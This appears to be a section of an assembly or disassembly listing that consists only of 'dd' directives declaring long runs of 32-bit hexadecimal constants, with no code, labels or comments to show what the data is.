		dd 0E80D4E98h, 0A5D40140h, 5F12354Ah, 0F00EC963h, 5A00A961h
		dd 2E3CCEBBh, 3B682BA4h, 7380FB40h, 84D44188h, 8338D186h
		dd 41A23074h, 75239FCh,	9AAAE872h, 0A7FD0714h, 0E4CD1009h
		dd 5301CCF5h, 0B9C885A0h, 0C0D393AAh, 76D619h, 54DEBA09h
		dd 3D0341FAh, 0F0DB8000h, 38F79E7Bh, 0D27F039Ah, 96ED7DD9h
		dd 0B1052E90h, 0B0FEF10Fh, 422C050h, 3B0F34h, 9E2DDF0Bh
		dd 279D81D0h, 90598400h, 0D138EA4Dh, 0FBDA0778h, 80A2C55Ch
		dd 2430ABE2h, 21001698h, 0E5AC3207h, 38BEF670h,	0EC006B47h
		dd 260C2376h, 0C600CA31h, 9B69547Eh, 574A613h, 24017C8Bh
		dd 3E0AC0F8h, 8000C560h, 4A5F4F66h, 0E65B3D5h, 2735CE82h
		dd 0CF255460h, 0F3000622h, 91D72E28h, 1FD20C6Ch, 80452AC8h
		dd 5AF2655Fh, 0F70509ECh, 1C8453AFh, 16DC5480h,	1BCD0038h
		dd 0CB3C662Fh, 94009E0Ch, 0C6F0B7EBh, 355A44h, 4F2402CCh
		dd 9EEFFFA7h, 0A6B40902h
		dd 48921C6Eh, 0E842B2Ch, 40D9693Ch, 77EE7DA1h, 0DD6C20EAh
		dd 56047F0Fh, 7AED40FAh, 395274Bh, 0AA3D6AE3h, 0FFF8B61Bh
		dd 96018E8Ch, 0F46D0D54h, 599CA3D6h, 0A96E40D3h, 10ABD997h
		dd 81D70F39h, 0AF037F53h, 0E7F8ADE8h, 0FEB60082h, 4B0B18F8h
		dd 2813D4F1h, 50145DBFh, 0E36601FCh, 7E368D13h,	412C3880h
		dd 628F9394h, 1C00FD75h, 5BD5138Eh, 9A8369Dh, 21AD59BEh
		dd 0A500DB8Bh, 78E30C48h, 70EAB700h, 0B693CB0Eh, 0EB790764h
		dd 7012E538h, 720FB269h, 0E1DD60C7h, 0D56D3940h, 0DBF7189Ah
		dd 9D661881h, 96DE4100h, 92233134h, 0BFF300A3h,	0A5C60C47h
		dd 82026136h, 0CFD6544Fh, 0FD0900BAh, 22E21E2Ah, 4A23CD02h
		dd 0E0F01BDFh, 1E86526Bh, 80EF0249h, 0B7A30E08h, 6F0716FEh
		dd 96D7B97Bh, 5FA9B4D0h, 18E00E0h, 506DCA6Bh, 0E100BCB1h
		dd 9E94C81Eh, 7545E639h, 329807F8h, 47DA69A0h, 9C205327h
		dd 0CD1E1990h, 0FD92D100h, 52454EEh, 275E0081h,	1FA72ABDh
		dd 8D00F417h, 37390D3Dh, 0C7132Bh, 3469B989h, 1BEEC090h
		dd 0C5759800h, 6FB5A1D0h, 14CE7207h, 0F48EDBD6h, 2F2B50h
		dd 0D262E7DFh, 71F9FCABh, 6C8DB200h, 0B04234C9h, 0DC0300BEh
		dd 8C4BAE05h, 0F50063D5h, 204C8438h, 140FF53h, 3ACD6F6Dh
		dd 80351667h, 9A8FC218h, 0F4770684h, 0CA15037Ch, 911BDCBDh
		dd 0FE07801h, 5A07ABC6h, 0B1EB1880h, 59099563h,	986DBA00h
		dd 0AC3867ECh, 50B20064h, 75BDA690h, 14E4D05Dh,	0DD6A30C5h
		dd 35E52840h, 9BF8F3h, 24FA572Ch, 87729EB8h, 0B7F8D07h
		dd 1767B053h, 0E8D02AD0h, 12800B8Fh, 9180F8FFh,	424DBEB1h
		dd 38695000h, 6C9DB56h,	34DD009Dh, 0B6ED6143h, 0BF734229h
		dd 5268D800h, 5E8F05CBh, 0E5F100B0h, 0FDDFC566h, 789D759Eh
		dd 1E7DFE0Dh, 3D024h, 4CD6F7A5h, 0BD3FB7E7h, 1424F094h
		dd 778E10CAh, 69D781DEh, 0C0249E15h, 0DF77F1h, 0D40B5718h
		dd 145E25BAh, 802AA73Ah, 3C046A88h, 0A2EE20F5h,	1BB760E4h
		dd 0E80D7379h, 0B3B80038h, 0D7587BFCh, 0C26122CBh, 0F317DACEh
		dd 2F0A6180h, 5EDE3B18h, 4EA3EA07h, 564042A1h, 0A017F9F5h
		dd 0D0FF44h, 398F55AFh,	9DA21893h, 37477400h, 5E710DE5h
		dd 0ECBB007Ah, 6F69F7B7h, 1E0FD5BAh, 20DB7008h,	304CCE83h
		dd 8863903Dh, 0E181D4h,	31BB67BCh, 0B78A4904h, 89F33F00h
		dd 2C18D372h, 14AD00C3h, 0DFFDAAECh, 0B803778Ah, 0D74B731Dh
		dd 0F269007h, 4CC62E14h, 15E901CBh, 80BFE725h, 1F447361h
		dd 0A0FFF9h, 8DDFD801h,	9B9E7664h, 0AEFB9400h, 0F26073F6h
		dd 6F470231h, 1CB850AAh, 8C536B00h, 0EF2D28F4h,	42E707ACh
		dd 0A0C2DC3Bh, 0D1C52564h, 931FB000h, 22DD06BDh, 0E43A545Ah
		dd 0CF72036Eh, 2EF53094h, 0D7E34100h, 5ABD504Ch, 0AB97009Ah
		dd 0D998E96Dh, 2F03B281h, 6B671755h, 4680FDD3h,	0C089D290h
		dd 0C54FC4C9h, 48E4262Ah, 0EE79DB1Eh, 0F48A2701h, 6080E0B4h
		dd 5F53D532h, 951C12EAh, 50642D4h, 0B205D52h, 73CFDB69h
		dd 70205700h, 6E00551Bh, 0B1B0ADF2h, 3223696Bh,	4D715705h
		dd 6C0CA840h, 5D3A5BE8h, 0E6148C94h, 76EF2186h,	24C001D2h
		dd 0F3459D12h, 6A69806Eh, 8726CEA4h, 91C98FAh, 169A73Dh
		dd 9A759E80h, 0DF006057h, 0D529FB6Eh, 163CE1F5h, 682DAF3h
		dd 60CD439Eh, 3BF47415h, 2E753D9Ch, 0BF00B3BEh,	0F3B07F77h
		dd 43260E08h, 13201633h, 47F4BA53h, 8307DBE0h, 0FCC7D022h
		dd 1C03847h, 0AC6E40h, 32258DB8h, 0E7C13C9Fh, 0B8709037h
		dd 0FD5281F8h, 0C47C5650h, 0D249CAC0h, 48C930C8h, 0A0456C9Fh
		dd 0BEED898h, 1E4A2C70h, 305D420Ah, 73B59DA9h, 0B916250Bh
		dd 0B42F8AD4h, 0D13FE502h, 13E000C0h, 0A8003031h, 96BF6534h
		dd 1453658h, 0C9141112h, 80F13C33h, 236CBD70h, 3AADD0h
		dd 0EB07D8DBh, 62C45A8Dh, 0F758D560h, 806D9414h, 0F848C3BBh
		dd 1F6F3D31h, 64770B9h,	6A7159D0h, 0B8225B23h, 86F2ED00h
		dd 403B6C30h, 10E6E524h, 92C49441h, 0B28130h, 0EF25725Ch
		dd 8D1D3B45h, 24F11500h, 9B4D67D7h, 0B4E64CE4h,	0C71EDC80h
		dd 3A3B8F5Ch, 124D9DDh,	6E92DB01h, 8082D106h, 0A9F49B38h
		dd 3F4AA8A3h, 5317B9A0h, 0A3D41006h, 0AE87D45h,	1F4F5D9h
		dd 0EB8880A8h, 6DE67250h, 0FF36900h, 0CB38FF4Ch, 8A090051h
		dd 22862EBEh, 0CE0F6D1Dh, 58033F0h, 4402293Ah, 81F87039h
		dd 0D5F3D39Ch, 0FE92E3C0h, 0A57D00F5h, 0F4DA5394h, 5E48823Dh
		dd 0BAD01380h, 702E3000h, 56E1021h, 0B0FDDBAAh,	99CC1A8Bh
		dd 494DF740h, 2CEAE100h, 401C8025h, 8C5F025Eh, 0B7F226EFh
		dd 0D4660441h, 8D008EE2h, 0D33AA018h, 96A7EDFh,	80FD4DA8h
		dd 0E2DA2E80h, 0E8A3C83Fh, 0C08407A3h, 4104F390h, 0EB0ACCA8h
		dd 86ADBC1Bh, 4CEFB8C8h, 0C08754E6h, 0AA0C0094h, 410759CBh
		dd 0B062B76h, 0FCE8052Dh, 5EEE0030h, 268170DBh,	0EC71B6F6h
		dd 0FBE9D602h, 0A0D9164Dh, 17136494h, 4AA30AB0h, 18B64025h
		dd 0BD4C8158h, 0CA109200h, 374DD521h, 0A2F02FEh, 7F2DB6A5h
		dd 0CDF9880h, 0E7E5225h, 46DC5F00h, 42A33572h, 0A8D42AC9h
		dd 0ED90C3FCh, 4C82BAEEh, 78807089h, 9DF1DBC6h,	9BC174Ch
		dd 1BF5E415h, 3B2AB818h, 0E6580051h, 70F7C4C1h,	78B1F24Ch
		dd 0AAFE5C00h, 8B30FCh,	0E8545F3Bh, 7181E605h, 0CF305C98h
		dd 900C58CBh, 63AC92FFh, 392F789Dh, 0C0843EEAh,	86D482E3h
		dd 44694120h, 73F01F0Eh, 784D8703h, 0E65A71DEh,	32EDC13Dh
		dd 0DB0B011Ch, 7B612024h, 4EC49A21h, 6C1C3F74h,	0A928D848h
		dd 0ECDB00D6h, 13D12481h, 1090CD0Ah, 0CCE60F24h, 4AFA9540h
		dd 76320065h, 7F4475FDh, 6A0E77C5h, 20459C16h, 0CBDBA31Dh
		dd 0A85E52D1h, 0F47B1809h, 7F3F4C10h, 0A7DEC200h, 0B5516CBh
		dd 8BE90023h, 4B69381Fh, 75000576h, 0D7BA793Bh,	29832E17h
		dd 0D0F49Dh, 902EA7Eh, 52201E1h, 36F12A44h, 7B78B4h, 14CA33B4h
		dd 11732345h, 44F5FE13h, 0E8FBC09h, 20718164h, 9049E4CDh
		dd 2E66B0E8h, 180537Fh,	7ACF77ADh, 0DFC043C4h, 0C28DC1A8h
		dd 0B6EC2200h, 1469A128h, 91DB1F7Fh, 0CCCD89BEh, 0A7741C00h
		dd 4C26BA8Fh, 881140E2h, 1A333E00h, 0CA74C8F7h,	80CFCE3Dh
		dd 0C1C3CDEh, 73ECB8h, 7EF3A724h, 0DC5DBE4Ch, 0B6FE3D06h
		dd 0EA154E5h, 0AC516DE1h, 1B3F8407h, 9F074080h,	497CE44Ch
		dd 0CEF50901h, 0EE263AF7h, 0E32C7032h, 90140C58h, 80160789h
		dd 0D820E77Ah, 0CF8C2Bh, 7CC70D9Eh, 0AFB6843Eh,	30134378h
		dd 0DC40F215h, 0D92467F7h, 0B7BC0F8Fh, 0A9AFC0A4h, 0E44383E2h
		dd 0BFDBA0E0h, 0CAC89805h, 0AEC06B22h, 7123DFC6h, 0D482A0EDh
		dd 8D84C7Bh, 0D1EAE4C0h, 0A32C08F6h, 4B0EFBE1h,	73B694Eh
		dd 0CD81C760h, 5C405922h, 67B3564h, 0B23AA277h,	0F848E1EFh
		dd 0B14F8084h, 5530D98h, 0E5F1D9A6h, 0EB9C474Dh, 0D042309Eh
		dd 550041E6h, 0D1A47B2Eh, 0B51BDBh, 7F8AD7C6h, 0BA6D01D8h
		dd 9040DA0Bh, 6AA70245h, 1D30C18Bh, 84F5E420h, 0B6DDCD00h
		dd 0AB9BA9BCh, 0A6E307ACh, 0E38C7FB3h, 0EBD979ECh, 0C6C8804Ch
		dd 6823620Bh, 7AD5888Fh, 0C272AD01h, 6FBA677h, 0B33C2C50h
		dd 79F0BAh, 4F97AF9Dh, 0FFE74995h, 0BC9409E0h, 7EE8FBCh
		dd 843CAACCh, 0CBE74184h, 3624F44Fh, 654D870Eh,	0F10FFF3Fh
		dd 0D8C260F3h, 4C07F545h, 5280A815h, 4867EAEh, 751810B8h
		dd 32495CE7h
		dd 621A00B2h, 90553B4Dh, 483CB09Fh, 94642CCCh, 8E02D000h
		dd 70F9B617h, 5E122646h, 0F2CF4094h, 2A583A6Ah,	0A0158470h
		dd 0F9D08Ch, 411B608Bh,	38E4613Ah, 0ACEBE62Ch, 4D0C803Eh
		dd 4B11AD6Bh, 0E2693953h, 9DE1DD01h, 4079BC2Bh,	0ECCEE8C8h
		dd 0CC9CDA28h, 5D59B00h, 0CF80BDD7h, 103B481Dh,	0E50048D5h
		dd 653FDACEh, 3A1887D5h, 3021DDDFh, 0DCE700FFh,	29916D48h
		dd 0DB1DEC89h, 853A5E7Bh, 0BEC971B4h, 14A20C98h, 0F4B92DC8h
		dd 0F30C653Ch, 0C320603Ch, 8BB12512h, 2A012C9Ah, 0ECC6D83Ch
		dd 0E4FCF4A4h, 4B4CC4B8h, 69C9160Ah, 0F413680Ah, 0C8A4F444h
		dd 0B4A40043h, 4DBEB8D7h, 4100402Ah, 95B0CDECh,	2C83F594h
		dd 0A18F2F6h, 81E08D5Ah, 0CF16C70Eh, 17829E4h, 99FB8BADh
		dd 0AA70DFF4h, 197F0393h, 35AFA546h, 84BDC80h, 3CE54E00h
		dd 72BD517h, 4B00B0BCh,	4D5420F6h, 6E00EE11h, 0AD6D2B7Eh
		dd 0C3B2FCh, 3DD31982h,	789B4189h, 0DA00DC98h, 4A4C7180h
		dd 4ACA8218h, 0D0542028h, 87F86CC7h, 29589EE7h,	67E3803Bh
		dd 393D3381h, 12A279D7h, 916A65Bh, 1000A338h, 22920736h
		dd 3090CEF0h, 0D26010F3h, 541A585Eh, 3B0156C9h,	0DC6B1FA5h
		dd 0A7EE6725h, 89C4F6C0h, 9834CE97h, 3A8213D9h,	0F81C922Bh
		dd 0E900D864h, 1F2F7DF9h, 3BB0148h, 0B64737A8h,	0C900A6E4h
		dd 21F2EB6Dh, 201319Eh,	8578916Bh, 0B06CF99Fh, 5DF6A907h
		dd 0BBD0A071h, 0F8B1634Ch, 2240176h, 0F48D0547h, 858C50AAh
		dd 71791C0Dh, 270BC407h, 49ACE6BEh, 1DB500A1h, 0BF9CC1FEh
		dd 260243ADh, 2498D0E5h, 0E3B86057h, 22BE014Fh,	8A259371h
		dd 916ED8E2h, 367E88h, 3C0C9FB8h, 0CD100173h, 14E1C9C2h
		dd 0CBC4A086h, 19B4DC8h, 57AB3579h, 7003B8BEh, 930B0A10h
		dd 8B4483h, 0EC793C88h,	0CD6F0075h, 48BCDDE2h, 6EE01491h
		dd 0A66148C0h, 2B95C92h, 2DABD783h, 825F7746h, 0C0040B56h
		dd 0DC3C18h, 834B30D6h,	0C028A1D0h, 0F9485C0Eh,	0A843C047h
		dd 66F606h, 3ADF5076h, 0D00BE04Bh, 0E4321201h, 5ECCF434h
		dd 0B553D0h, 644C3A9Bh,	675C98A9h, 0FB82F200h, 2AAC5FCBh
		dd 19F03038h, 0AAFCD468h, 416A8500h, 13DBDCF6h,	5AD800D1h
		dd 34918E8h, 103F94Fh, 381635E0h, 903972E3h, 0DB0E0772h
		dd 201C0F46h, 0CD183780h, 15A71006h, 0C909D7h, 0FAF302D4h
		dd 2166FC2Eh, 8891B900h, 0EDDE1F14h, 1DBCEC5Dh,	0CA2C4FEh
		dd 83D8CCD5h, 22215000h, 8E9A4AB1h, 0C75C1C3Dh,	18778CBCh
		dd 75367D20h, 630605Fh,	3D76B099h, 38C011CCh, 0BEF1C821h
		dd 0FA9F0380h, 0CE7608E4h, 0CB142176h, 1AD6646h, 8AFFA3B6h
		dd 5DE92729h, 2A77C048h, 0EB455A8h, 0A610FB4Dh,	0B7831B8Eh
		dd 2042B537h, 0EC490038h, 1E48C0A5h, 9888019Eh,	0FD35C5FCh
		dd 4BC4C099h, 0D900DAF0h, 5096B04Dh, 1E034593h,	0A8BBED1Bh
		dd 6CD7306Ch, 0F5A32981h, 0AAC9C300h, 519879B6h, 0EF480131h
		dd 0AE2C3536h, 0B878BE37h, 0BDF00AE6h, 0EB8588BBh, 0A45CCA38h
		dd 0C1825C00h, 14BC8CE0h, 0E8F9B5F6h, 0B0352C01h, 10187738h
		dd 1F24487h, 0CF5D0DBBh, 0D24276B9h, 58157080h,	1003F3C8h
		dd 72F4D782h, 34B8401Dh, 5EB1037Dh, 0BD90736Ah,	7C198938h
		dd 0B27E6200h, 3487595Ah, 0E13D63D6h, 71A0A055h, 192E5126h
		dd 3C0F439Ch, 7A5D805Eh, 18F9D989h, 0B8BA70CBh,	0A7011AE1h
		dd 6898B91Dh, 0BBE067B3h, 81DE674Eh, 0B59F20AAh, 970187B9h
		dd 0FE86F1C0h, 5824E139h, 76EADBh, 61CA776Ch, 0DFBE8953h
		dd 85029FECh, 0C1B4B155h, 0AC9C9805h, 0E4F71DAAh, 466380DAh
		dd 0C9734FC0h, 9C3688A8h, 88C8BE00h, 799AF2D6h,	9297256Ah
		dd 0B830ECDCh, 2A27AF25h, 0CB07658h, 80D598F1h,	96158940h
		dd 846AE8h, 35371CF6h, 78CB1F42h, 0EB4C0080h, 770C6CF3h
		dd 0D66190FFh, 0C5245139h, 0DA9C0h, 684A06F3h, 0DBF9992Eh
		dd 518B3002h, 0C27308B1h, 104451h, 0E4780BBCh, 0A3172761h
		dd 0CAE32300h, 0FDBFD36Eh, 1F8F0E21h, 764411A7h, 0DA788853h
		dd 8C77EE07h, 924F1A19h, 9865B422h, 29AB4E0h, 0B1C5A60Bh
		dd 0B4A08438h, 0FBFC286Bh, 6E215600h, 4CD6CFADh, 0CE77E657h
		dd 0C440EF39h, 0EE762365h, 97FA4A03h, 80D8A038h, 0C032D543h
		dd 79C93129h, 7F0598FFh, 0D992FBC4h, 59A88440h,	26E7DBA7h
		dd 0E0044E12h, 82CD1E61h, 79A0E113h, 5CEB9420h,	0E9030719h
		dd 2053D50Bh, 0B6C96457h, 21BDA209h, 4FCC82EFh,	591C0C5h
		dd 483361C8h, 317FD838h, 2291F550h, 8D43006Ch, 0D9343BB5h
		dd 0C7797Dh, 4686BFF3h,	66FAFEDAh, 0FC06000h, 0B2BD099Eh
		dd 8D3B2A10h, 0D01E0090h, 4CDD97E7h, 5107F2BEh,	3690EFD7h
		dd 40009AE7h, 13082EEBh, 306CB2A6h, 0E7545B8h, 0E0021314h
		dd 0E6A6009Fh, 0B160E716h, 5CA8D501h, 1228E90Eh, 8B239560h
		dd 22015E21h, 356069AFh, 9450D876h, 5383E0h, 6C29B7DAh
		dd 3ED614C1h, 0BC9DBCA8h, 1ECCCA0Eh, 0FF090020h, 0E8EC7Ch
		dd 0B4C08BAAh, 1768B788h, 2A9122h, 120E799Eh, 5DE4DF34h
		dd 0D8C5F61Dh, 3CCB8080h, 249FD9B6h, 1354F852h,	0FD4042FCh
		dd 0AC40839Eh, 10909B2Eh, 1C6B44h, 0B3DF63E8h, 0BA14122Bh
		dd 894A6003h, 0F010EFF1h, 2CF52716h, 10A91Ah, 92AC2BC1h
		dd 762AA374h, 0E11CF847h, 1180314Ah, 85E5DC36h,	0ED4013Fh
		dd 0CE757937h, 0C129822Ah, 9073A70Bh, 8F168Ch, 6B703E78h
		dd 5F1A98A1h, 2DB42500h, 0F6B1FC4Eh, 7D64066Ah,	0B131E8C3h
		dd 0A9CAFF00h, 3C86EEAFh, 0CDD700E7h, 5C94D50Ah, 1E02549Bh
		dd 76F1D48Ch, 1A0260A4h, 4C9175h, 0C8FE0BFAh, 0ED01FD14h
		dd 0AF09CCA1h, 0B0C4072Ch, 0C0E902BFh, 91DACA7Ch, 420CA0A4h
		dd 430A7DE0h, 893DD8D4h, 41752C61h, 0D27FC048h,	4901282Fh
		dd 0F8AEFDF4h, 98345A76h, 139D00E7h, 4C9E21Fh, 0CE003D26h
		dd 5EEBA8E5h, 3852C70h,	0F2F9090Ch, 0C9A06A94h,	0A304C6E8h
		dd 212B729Eh, 3D7434C0h, 0AAD6751Ch, 0B3B8084h,	0F97B96h
		dd 53C117B5h, 0B2B64DB9h, 33F54619h, 0E4229129h, 93927600h
		dd 0D8C0F657h, 0FE00E898h, 609E8FB6h, 74A477D5h, 0A0B4A442h
		dd 1F4874C1h, 97E725AEh, 8437BFh, 0B2A13517h, 9BEA0CC0h
		dd 4D16C6h, 4999A431h, 85815AB3h, 96163890h, 980D6597h
		dd 0E08B89DFh, 9700685Eh, 3CB3010Ch, 0CF90AE18h, 136C0F21h
		dd 28FE33h, 0C1F29806h,	57037D12h, 88CFB1A5h, 0CE46D8D1h
		dd 32EE04E0h, 87B989DAh, 771850E0h, 0BCA85B56h,	0BC6FF193h
		dd 90EC0CD1h, 3B0047Fh,	8C980FD2h, 9255DF8h, 71FF413h
		dd 61B1DF18h, 63596270h, 0A79500B0h, 6E6838F8h,	5F650539h
		dd 2099FF45h, 0FDE9CEB0h, 9FA71B04h, 64C12BA6h,	2020A20Dh
		dd 758500B7h, 0FCB2A961h, 2F601B97h, 0F5E00C18h, 8EF11892h
		dd 3982068h, 0D0CE822Eh, 19500214h, 76C93FD7h, 2125ECh
		dd 1A7A8BDDh, 0BF1215BAh, 4473F918h, 1E72F9h, 0E3D14138h
		dd 0CCAEF2F5h, 0C83E0100h, 4DEE4461h, 63F900C3h, 73991CDAh
		dd 9E044B62h, 183003E8h, 411E7C80h, 1A8C0ECBh, 1C016DB3h
		dd 0C2BBF38Dh, 0F000CC66h, 81FC3010h, 0E2855571h, 618B88Bh
		dd 9088F261h, 9002928h,	0E08201A1h, 13BC4D84h, 586B76h
		dd 37160AF8h, 570E3FCBh, 0D3385C8Dh, 46D2AC47h,	983D007Bh
		dd 49F00D17h, 3B8020BFh, 0DE2CA30Bh, 0B6DA6405h, 0A81F4108h
		dd 3E134Eh, 0B8827AB7h
		dd 0CD1F018Ah, 9E44BA43h, 53DC7628h, 7D3B00D0h,	4159B6F6h
		dd 0A2E0000Eh, 16CED165h, 0FE258480h, 8BB01046h, 68EE03B8h
		dd 0A729F46Bh, 27DE9EB0h, 0F630AE00h, 3EA5360Ah, 0B81E3E37h
		dd 0A710220Fh, 4093D66Bh, 1652E088h, 0F8B7E80Bh, 7DBD00C3h
		dd 2F32155h, 9B2AD77h, 0D040EEFCh, 0A8F4B4F6h, 0F34824Dh
		dd 0C5B62846h, 2088D793h, 7A07634h, 7D99B341h, 0AA98F0DDh
		dd 82035FCFh, 0E6137B88h, 0BCA4C0DEh, 0B0D95403h, 2627B0B0h
		dd 8070C6DAh, 354E939h,	8D3C5DC3h, 2CC40921h, 13480037h
		dd 5C40F425h, 0B4807476h, 37E6063Eh, 0EAF57201h, 53D14F2Bh
		dd 726E9D4h, 8B2F3297h,	7FD300CCh, 1504B59Eh, 0CA674B43h
		dd 6800D084h, 0CE310B03h, 0CD130017h, 7B298665h, 0C94C6BCh
		dd 3098AA80h, 3077C550h, 638156CBh, 0A8004AF7h,	0A51FB08Dh
		dd 30768CF9h, 8598041h,	0B10E4F79h, 94CC5C92h, 76590D9Ch
		dd 0CA604152h, 86140072h, 882E7CE6h, 0C87F6D17h, 624C200h
		dd 9BCAD9EBh, 5D80C392h, 0A8909A2Eh, 0F81C370Bh, 0CCA44EBCh
		dd 8026E888h, 84A1C2CFh, 9D01D290h, 6CD91C0Ah, 9C4CB808h
		dd 0A006004Dh, 16E3445Ah, 220087ABh, 4542537Bh,	4E48492h
		dd 2FCBE74Dh, 0E95C8006h, 667BA821h, 0C781F900h, 0BCFE9601h
		dd 97B4944Ch, 47E020D7h, 0EB09316Ah, 2009BB5Fh,	80DB077Ch
		dd 0C6F71E52h, 0B9270410h, 0ACA2FDh, 0DEC8844h,	22AD959h
		dd 60B0DA2Bh, 2C7002B5h, 82040A77h, 0C15213CAh,	14BC0CD0h
		dd 0A9F13CF5h, 0B82039A5h, 0BF454C19h, 0D8126002h, 60510B82h
		dd 9192B680h, 0ED230BB8h, 0C47D4F80h, 4407DBE5h, 0FFC8709Ch
		dd 75D741F0h, 8994A851h, 74B20417h, 81B8F7E3h, 0C4CCC550h
		dd 1C3F8042h, 0D961FECDh, 2792B590h, 0D64D6180h, 0BBF156EEh
		dd 80035E3Fh, 66371EFAh, 7ECB168h, 0C99DA8A0h, 0DE10098h
		dd 502472A4h, 0B621C75h, 0B0C427h, 0B474D6D7h, 1CB3DCF4h
		dd 8BAC1839h, 34C5C96h,	0BA35B6F8h, 9C8473A7h, 446077Ah
		dd 68DA43h, 725B01DAh, 2A0384E7h, 0BAF06B12h, 0BC7901C0h
		dd 54321FF6h, 38318A53h, 8C80AC75h, 77ACF303h, 57A600E1h
		dd 0B6FB2E88h, 2339484Ah, 0B49FA6EBh, 1A379B40h, 0F8CA004Eh
		dd 3F6551B7h, 0C4B0A2FDh, 0D93C7034h, 38DEC09h,	48C2CB4Bh
		dd 0C4C0BCB9h, 2B9C1D7h, 71F4Eh, 0E80110B2h, 8EFD4EDEh
		dd 3DCEF091h, 0C0A03063h, 0BA61C0Ch, 92754224h,	0DA8958AFh
		dd 0E9F15469h, 8DF180C2h, 3F37FDD5h, 262C3303h,	9800B640h
		dd 3D2E4D0Bh, 2A3A617h,	0F278C551h, 0AC42FCEBh,	0F400B464h
		dd 0BFC0CFCDh, 2E8C4D20h, 608C6B64h, 70A845D1h,	0D9FCA34Ah
		dd 0AF3E1F7Dh, 0B0D892Fh, 5738A864h, 646D07A9h,	0CDC0F151h
		dd 304E90DDh, 0C369F09Fh, 2F30172Bh, 0DAD63E2Eh, 3CF874h
		dd 18973814h, 0B8D5F84Eh, 0F008EC06h, 5CF83186h, 2505E47Fh
		dd 40467623h, 0ED8CFFE8h, 10001744h, 0A79DC948h, 16B5710Eh
		dd 89EB9F95h, 0C712CC10h, 0B9ECAB09h, 567002Ah,	13D2F16Ah
		dd 27CD0B5h, 7A864C8h, 702E8441h, 97042FDBh, 0D1BC5805h
		dd 5FF0C8h, 0D53B971h, 0BE63841Fh, 96EEF802h, 445676B0h
		dd 254A14Ch, 0A4F98850h, 10C8CFEFh, 6C90F689h, 0EA008C77h
		dd 3B3D2704h, 16641E8h,	0EC4295C8h, 72F7E4B5h, 0A8732CDCh
		dd 0AF509F41h, 2F5540C6h, 475712D5h, 0C8D8028Fh, 0D0E476A4h
		dd 0A31B1000h, 8A20531Ah, 0E00860E2h, 926C6E04h, 6F59D360h
		dd 0D1CB724h, 791EE707h, 9824DF48h, 311650E1h, 5027F803h
		dd 0BC80FD6Fh, 4E77D87Ch, 465443AAh, 0D1263B5Fh, 0AE9364C9h
		dd 39E82C00h, 2CE3634Dh, 1146C86h, 7B1EE24h, 89FDF84Fh
		dd 0AC453102h, 93A7757Dh, 0EE2D809Ch, 54087E29h, 857CA6h
		dd 0BBC953D3h, 65EB0BC6h, 835FAC0Fh, 0FCC5538h,	5F6B8432h
		dd 637C1900h, 73F19949h, 0BCA61618h, 5CC8904Dh,	3858EE57h
		dd 79098134h, 0ADF0A4C1h, 0E8980055h, 0AE8EC393h, 6E00DCB6h
		dd 0F37A0C52h, 13124A5Fh, 209131DAh, 0A358CF8Ch, 8B0F2B78h
		dd 20BDAE93h, 0CA664960h, 17F3096Eh, 8C8D7CDh, 0E30050ADh
		dd 8B8002D6h, 1108CAEh,	1209E07Ah, 0C9484F8Eh, 1C871A4h
		dd 3949BC30h, 7A5F0188h, 4DD8B02h, 3CB1891h, 381686F1h
		dd 3ED100E2h, 461A5174h, 2C0079D4h, 85983A90h, 53AB84h
		dd 0A767508Eh, 0BB1DBAF5h, 0AA24C450h, 31FD8702h, 832D99F0h
		dd 27BBD540h, 7CA0D759h, 88DD3BF1h, 0FB428C00h,	0B9A1B0Fh
		dd 0DE1400B1h, 84B605AEh, 6CB41A68h, 7941881Ah,	1C003B14h
		dd 720C97CCh, 2D002F29h, 9BB08CE2h, 48182635h, 275024A1h
		dd 0F04F52BCh, 53AD047Ch, 0C32E75E9h, 1901CD80h, 4686905Bh
		dd 61896D5Dh, 0F890751Ah, 0AC001B35h, 0D6897BADh, 0F033F20Bh
		dd 0FF36023Eh, 0C1605758h, 267D090h, 1D49D239h,	80FEDC74h
		dd 5710AFF8h, 9F31C8h, 5D448386h, 0A9847E48h, 4FBB1308h
		dd 0B0F185C7h, 129C494Eh, 0C8268863h, 0A13251Dh, 20DA430h
		dd 9A3E00F0h, 5D7B5BC0h, 1816AC21h, 740049FCh, 3580E92h
		dd 0CBF93A41h, 48D085D1h, 7FA37F81h, 42C40095h,	0A98C1AC3h
		dd 0C6011380h, 0D6A4E001h, 0A471AB5Ch, 1828DAC2h, 9004B3C7h
		dd 0F0C8D24h, 10B2AE77h, 324B866h, 0F7F41AE9h, 0DBC275E4h
		dd 7A05AC90h, 89F8EE70h, 40913F2Ch, 30D13C13h, 66DE6146h
		dd 0D5432864h, 0E5660070h, 0CA1B8F0Dh, 75029A0Fh, 947B85B1h
		dd 609862A0h, 67D71E80h, 60793134h, 2CD1236Eh, 0C6683Ch
		dd 98BE69C3h, 9015386Dh, 7261179Ah, 0A782090h, 4500EF67h
		dd 581B6ECFh, 70FB393Fh, 3120964h, 38838954h, 8008373h
		dd 0F53CEB41h, 0E808EE9Bh, 44E898B7h, 972649DFh, 4E051D1Fh
		dd 10C839CFh, 69A300E9h, 632C51C7h, 5632D111h, 2B3EF8AAh
		dd 7C36FC00h, 3898EB0Ah, 0CCE4A904h, 88A2A2A6h,	6B132701h
		dd 0CCC2B629h, 8E0034C7h, 44AE8FADh, 17ED9394h,	30EE5946h
		dd 0B3ABBE4Ch, 0B5A45500h, 45BB6A2Ah, 0B8600AE6h, 18F20381h
		dd 3EE48135h, 8FC94C0Bh, 0B40400E8h, 54215633h,	19F4072h
		dd 0AA1D8338h, 0F0CD3C1Fh, 0D30F5785h, 0B3F9373Dh, 0B00D0709h
		dd 0FE490590h, 8EF10B1Bh, 0ACC83B01h, 0BC07DEFAh, 1397EE53h
		dd 8C76EDF0h, 4ED4B815h, 0C8905359h, 6D0068E0h,	9ED9DF50h
		dd 9ED7B749h, 2D398080h, 8ECF5896h, 0D8C4FA3Fh,	8C9CC05Ch
		dd 3F323E6Ah, 9293BB98h, 0E2D093E8h, 1CE77BA0h,	0A56C4D0Bh
		dd 0FC340F40h, 0F72F9810h, 0A0524C22h, 2F404054h, 28F10C5Dh
		dd 48A4EC71h, 617E88B2h, 8EBA2139h, 6824E9D3h, 224581BCh
		dd 3C2067B5h, 3762001Fh, 90982796h, 0B1045905h,	5577FCDAh
		dd 0C00020E2h, 6B12CB69h, 6301FF97h, 0F06A984Fh, 0F7C4F9A6h
		dd 0CE6700C6h, 42586B10h, 0F848A962h, 447500ECh, 86B59FA6h
		dd 5A63120Dh, 18CC0F54h, 77E888F6h, 9ED2A800h, 30803F26h
